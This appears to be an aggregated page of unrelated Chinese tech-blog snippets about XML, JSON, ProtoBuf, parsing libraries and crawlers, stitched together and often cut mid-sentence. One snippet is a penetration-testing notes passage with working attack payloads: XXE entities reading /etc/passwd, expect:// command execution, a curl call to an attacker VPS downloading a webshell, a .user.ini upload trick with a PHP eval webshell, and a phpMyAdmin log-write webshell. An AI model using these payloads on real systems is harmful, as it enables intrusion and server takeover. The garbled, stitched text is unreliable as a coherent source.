最近在一个 C 程序中碰到需要将 XML 数据转换为 JSON 数据的问题,多番查找几种方法,觉得此程序刚好用到了 Linux 下的 libexslt XSLT 库,因此想直接通过 XSLT 将 XML 转为 JSON 数据。
TinyXML解析一个XML文档,并从该文档构建可读取、修改和保存的文档对象模型(DOM)。
ProtoBuf是Google开源的一套二进制流网络传输协议,它独立于语言,独立于平台。google 提供了多种语言的实现:java、c#、c++、Go 和Python,每一种实现都包含了相应语言的编译器以及库文件。由于它是一种二进制的格式,比使用 xml 进行数据交换快许多。可以把它用于分布式应用之间的数据通信或者异构环境下的数据交换。作为一种效率和兼容性都很优秀的二进制数据传输格式,可以用于诸如网络传输、配置文件、数据存储等诸多领域。
http://www.mycat.io/document/mycat-definitive-guide.pdf
渗透测试面试题目 一、基础问题 1.请你用一分钟时间介绍下你自己 2.现在在哪个城市 3.最快什么时候可以到岗 4.项目经历 5.对面试的岗位职责和工作内容了解吗 二、技术问题 1.拿到一个待检测的站,你觉得应该先做什么 1)信息收集 1,获取域名的whois信息,获取注册者邮箱姓名电话等。 2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。 3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞4
之前一直习惯用json进行数据的传输,觉得很方便。来到新公司后发现同事们用的更多的的协议都不是json,而是Protocol buffer。这个东西之前没有听说过,不明白同事们为什么放弃好好的json不用,用这个。后来了解到经常是设备与设备之间进行通信,而不是设备与服务器做通信。很多设备是linux下c语言做核心服务,c来解析json比较麻烦。于是决定花些时间来学习这个陌生的协议。
在 Linux 中,shell 脚本结合系统任务计划 crontab,非常简单就能实现一些复杂程序才能完成的工作,开发成本低,且简单易学。 张戈博客之前也分享过不少 shell 在网站运营方面的妙用,比如: CCKiller:Linux 轻量级 CC 攻击防御工具,秒级检查、自动拉黑和释放 SEO 技巧:Shell 脚本自动提交网站 404 死链到搜索引擎 Linux/vps 本地七天循环备份和七牛远程备份脚本 nginx 日志切割及 7 天前的历史日志删除脚本 Shell+Curl 网站健康状态
出现应用程序读取XML文件乱码的场景: 加入xml文件以<?xml version="1.0" encoding="utf-8" ?> 格式的;如果对xml文件进行修改了,其中包含中文字符的内容,另存
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行,做一个简单改造即可使用。对比如下: 改造前: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径:SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后,再加上回显位置即可成功利用,完整载荷示例: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种,通过上传webshell来。 利用前提:知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上,直接寄。 1)使用python托管webshell python -m http.server 8088 2)下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析: curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代,没啥好说的,常规思路。 下载url不能带协议 下载url用单引号包裹,如果是-o方式,保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多,.user.ini是php给用户的自定义配置文件,可将指定文件按照php脚本文件的形式解析。 介绍:https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程: 1)上传.user.ini filename:.user.ini Content-type:image/jpeg 文件正文: GIF89a auto_prepend_file = aaa.jpg 2)上传webshell filename: aaa.jpg Content-type:image/jpeg 文件正文: GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包: 文件——导出分组解析结果——为纯文本 通过notepad++解码: 提取所有注入数据包,此处使用notepad++中的标记功能,查找模式设置为正则表达式。 提取出来以后,找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后,用英文的逗号隔开,然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提:知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
在本教程中,我们会学习lxml库和创建XML文档的基础知识,然后会处理XML和HTML文档。最后,我们将利用以上所学,融会贯通,看看如何使用lxml提取数据。本教程的每一步都配有实用的Python lxml示例。
1.6-RELEASE-20161028204710-linux.tar.gz。
Versions Affected Apache Solr before 7.1.0 with Apache Lucene before 7.1 Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Description Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该
TinyXML是一个开源的解析XML的解析库,能够用于C++,能够在Windows或Linux中编译。这个解析库的模型通过解析XML文件,然后在内存中生成DOM模型,从而让我们很方便的遍历这棵XML树。
在 GNU coreutils 软件包中包含 stat 命令,它提供了关于文件和文件系统包括文件大小、节点位置、访问权限和 SELinux 上下文,以及创建和修改时间等各种元数据。通常情况下,你需要多个不同命令获取的信息,而这一个命令就可以实现。
1,选中一种语言(php、Java、Node.js、Django、Go等)服务器语言都可以,我这里选用的是python的Django框架大家web服务器,使用docker管理所有服务,先简单搭建一个界面:
简 单地说,JSON 可以将 JavaScript 对象中表示的一组数据转换为字符串,然后就可以在函数之间轻松地传递这个字符串,或者在异步应用程序中将字符串从 Web 客户机传递给服务器端程序。这个字符串看起来有点儿古怪(稍后会看到几个示例),但是 JavaScript 很容易解释它,而且 JSON 可以表示比名称/值对更复杂的结构。例如,可以表示数组和复杂的对象,而不仅仅是键和值的简单列表。
抓取网页代码之后,下一步就是从网页中提取信息。提取信息的方式有多种多样,可以使用正则来提取,但是写起来相对比较烦琐。这里还有许多强大的解析库,如 lxml、Beautiful Soup、pyquery 等。此外,还提供了非常强大的解析方法,如 XPath 解析和 CSS 选择器解析等,利用它们,我们可以高效便捷地从网页中提取有效信息。
今天遇到一个需求:将某个xml中的节点属性提取出来,然后更新数据库某一表中的字段。
记录下,散仙今天的工作以及遇到的问题和解决方案,俗话说,好记性不如烂笔头,写出来文章,供大家参考,学习和点评,进步,才是王道 ,废话不多说,下面切入主题: 先介绍下需求: 散仙要处理多个类似表的txt数据,当然只有值,列名什么的全部在xml里配置了,然后加工这些每个表的每一行数据,生成特定的格式基于ASCII码1和ASCII码2作为分隔符的一行数据,ASCII2作为字段名和字段值的分隔符,ASCII1作为字段和字段之间的分隔符,每解析一个txt文件时,都要获取文件名,然后与xml中的schema信息
使用的是mall-tiny-02的代码,代码地址:https://github.com/macrozheng/mall-learning/tree/master/mall-tiny-02
靶机下载链接:https://download.vulnhub.com/xxe/XXE.zip
Beautiful Soup标准库是一个可以从HTML/XML文件中提取数据的Python库,它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式,Beautiful Soup将会节省数小时的工作时间。pymongo标准库是MongoDb NoSql数据库与python语言之间的桥梁,通过pymongo将数据保存到MongoDb中。结合使用这两者来爬去喜马拉雅电台的数据...
本文将解决上一篇中的一个问题 1)为什么C++项目扫出来缺陷、安全漏洞都是0?覆盖率也是0%?
针对各个平台,封装了统一的接口,简化了各类开发过程中常用操作,使你在开发过程中,更加关注实际应用的开发,而不是把时间浪费在琐碎的接口兼容性上面,并且充分利用了各个平台独有的一些特性进行优化。
相信大家在上一文中下载fasta的时候还没有感觉到下载是多么复杂,但是对于分析比对多个序列文件时,这个工作量说多了都是泪。比如,老板让你比对自己测定序列与 NCBI 库中序列,并构建相应的进化树,而这个序列需要大于100条。我想你的心情不会和下载一条序列时那么平静,那么,接下来通过BioPython提供的接口来实现快速的自动化序列下载。
成长平台 web 安全学习的第一关是关于搭建 PHP 的运行环境,这个任务的目标是为了让学员理解 PHP 的运行环境中各个组件之间的关系,通过实际的操作来理解,不允许使用一键化工具,比如 phpstudy 等平台,因为在搭建的过程中会遇到各种各样的问题,在一步一步解决问题的过程中,加深对技术背后原理的理解,从而提升学员基础能力。
本篇博客,小菌为大家带来的是HDFS中NameNode的Fsimage与Edits的详解。
JSON吸引了工具构建者的注意,它们开发了用于重新格式化、验证和解析JSON的众多工具,这不足为奇。这些工具既有在Web浏览器中运行的在线实用程序,又有面向代码编辑器和IDE的插件,比如Visual Studio Code和Eclipse。
tinyxml2是一个轻量级的C++库,用于解析和生成XML文档。它是对原始tinyxml库的改进和扩展,提供了更快速、更强大的XML处理功能。
JSON 吸引了工具构建者的注意,它们开发了用于重新格式化、验证和解析 JSON 的众多工具,这不足为奇。这些工具既有在 Web 浏览器中运行的在线实用程序,又有面向代码编辑器和 IDE 的插件,比如 Visual Studio Code 和 Eclipse。
要玩大数据,没有数据怎么玩?这里推荐一些33款开源爬虫软件给大家。 爬虫,即网络爬虫,是一种自动获取网页内容的程序。是搜索引擎的重要组成部分,因此搜索引擎优化很大程度上就是针对爬虫而做出的优化。 网络爬虫是一个自动提取网页的程序,它为搜索引擎从万维网上下载网页,是搜索引擎的重要组成。传统爬虫从一个或若干初始网页的URL开始,获得初始网页上的URL,在抓取网页的过程中,不断从当前页面上抽取新的URL放入队列,直到满足系统的一定停止条件。聚焦爬虫的工作流程较为复杂,需要根据一定的网页分析算法过滤与主题无关的链接
个人认为,对于Web前端程序员和跟HTML和CSS打交道的人来说,jQuery是有史以来最伟大的发明。jQuery的出现使Web程序员的开发效率突飞猛进,不亚于工业革命给人类生产力带来的提升。 但问题在在于,只有前端程序员可以利用jQuery的强力,他们可以用它分析HTML,根据CCS类,HTML属性,CSS规则等各种选择器来查 询、获取、操作HTML里的任何一个元素。而作为后端(服务端)程序员来说,他们同样需要分析HTML内容,从HTML中提取符合要求的HTML片段、获 取某个符合条件的属性值等。 遇到这
Protocol Buffer是谷歌开发的处理结构化数据的工具,类似于XML和JSON这两种比较常用的结构化数据处理工具。但是Protocal Buffer格式的数据和XML或者JSON又有很大的区别:首先,使用Protocol Buffer时需要先定义数据格式schema(Protocol Buffer的具体编码方式),其序列化后得到的数据不是可读字符串,而是二进制流;其次,Protocol Buffer格式的数据不需要任何其他信息就能还原序列化之后的数据。Protcol Buffer序列化出来的数据要比XML格式的数据笑3到10倍,解析时间要快20到100倍。
点击上方“芋道源码”,选择“设为星标” 管她前浪,还是后浪? 能浪的浪,才是好浪! 每天 10:33 更新文章,每天掉亿点点头发... 源码精品专栏 原创 | Java 2021 超神之路,很肝~ 中文详细注释的开源项目 RPC 框架 Dubbo 源码解析 网络应用框架 Netty 源码解析 消息中间件 RocketMQ 源码解析 数据库中间件 Sharding-JDBC 和 MyCAT 源码解析 作业调度中间件 Elastic-Job 源码解析 分布式事务中间件 TCC-Transaction
基础类 1、 Dinkumware C++ Library 参考站点:http://www.dinkumware.com P.J. Plauger编写的高品质的标准库。P.J. Plauger博士是Dr. Dobb's程序设计杰出奖的获得者。其编写的库长期被Microsoft采用,并且最近Borland也取得了其OEM的license,在其C/C+ +的产品中采用Dinkumware的库。 2、 RogueWave Standard C++ Library 参考站点:http://www.roguewav
在学习XXE漏洞之前,我们先了解下XML。传送门——> XML和JSON数据格式
计算机上有数以千计的配置文件。你可能永远不会直接与其中的大部分文件打交道,但它们确实散落在你的 /etc 以及 ~/.config、~/.local、/usr 文件夹中。还有一些可能在 /var,甚至 /opt 文件夹中。如果无意中打开过或更改过它们,你就可能会有疑问:为什么有些配置文件看起来是某一种格式,而另一些则是看起来完全不同的格式?
Maven为Java开发者提供了一个免费的中央仓库,其中几乎可以找到任何流行的开源类库,通过Maven的衍生工具Nexus,可以进行快速的搜索。Maven项目目录结构有约定的规则,约定优于配置(Convention Over Configuration)。
developer.51cto.com/art/201910/604745.htm
Android的扩展工程包含在external文件夹中,这是一些经过修改后适应Android系统的开源工程,这些工程有些在主机上运行,有些在目标机上运行; 工程名称 工程描述 aes 高级加密标准(Advanced Encryption Standard) apache-http Http服务器 bison (主机)自动生成语法分析器程序 bluez 蓝牙库 bsdiff (主机)用于二进制文件生成补丁 bzip2 (主机/目标机)压缩文件工具 clearsilver (主机)模板语言,包括Python、J
现在越来越多的网站在使用nginx,所以nginx的优化就显得越来越重要,尤其是nginx的gzip压缩优化。
以下是大多数 Java 程序员在日常生活中使用的 10 种最常见的Java开发工具。如果您正在使用 Java 技术,您应该已经熟悉这些工具,但如果您不熟悉,那么现在是了解和探索它们的好时机。
12、C++各大有名库的介绍——其他库 在 C++中,库的地位是非常高的。C++之父 Bjarne Stroustrup先生多次表示了设计库来扩充功能要好过设计更多的语法的言论。现实中,C++的库门类繁多,解决的问题也是极其广泛,库从轻量级到重 量级的都有。不少都是让人眼界大开,亦或是望而生叹的思维杰作。由于库的数量非常庞大,而且限于笔者水平,其中很多并不了解。所以文中所提的一些库都是比 较著名的大型库。 1、C++各大有名库的介绍——C++标准库
最近编写了一个linux的项目。编译后,打开程序正常,但是在编写.desktop文件后,双击.desktop闪退。闪退最重要的思路就是,想看看闪退前弹出了什么错误。 于是,编写了一个shell脚本,核心思路脚本内容如下:
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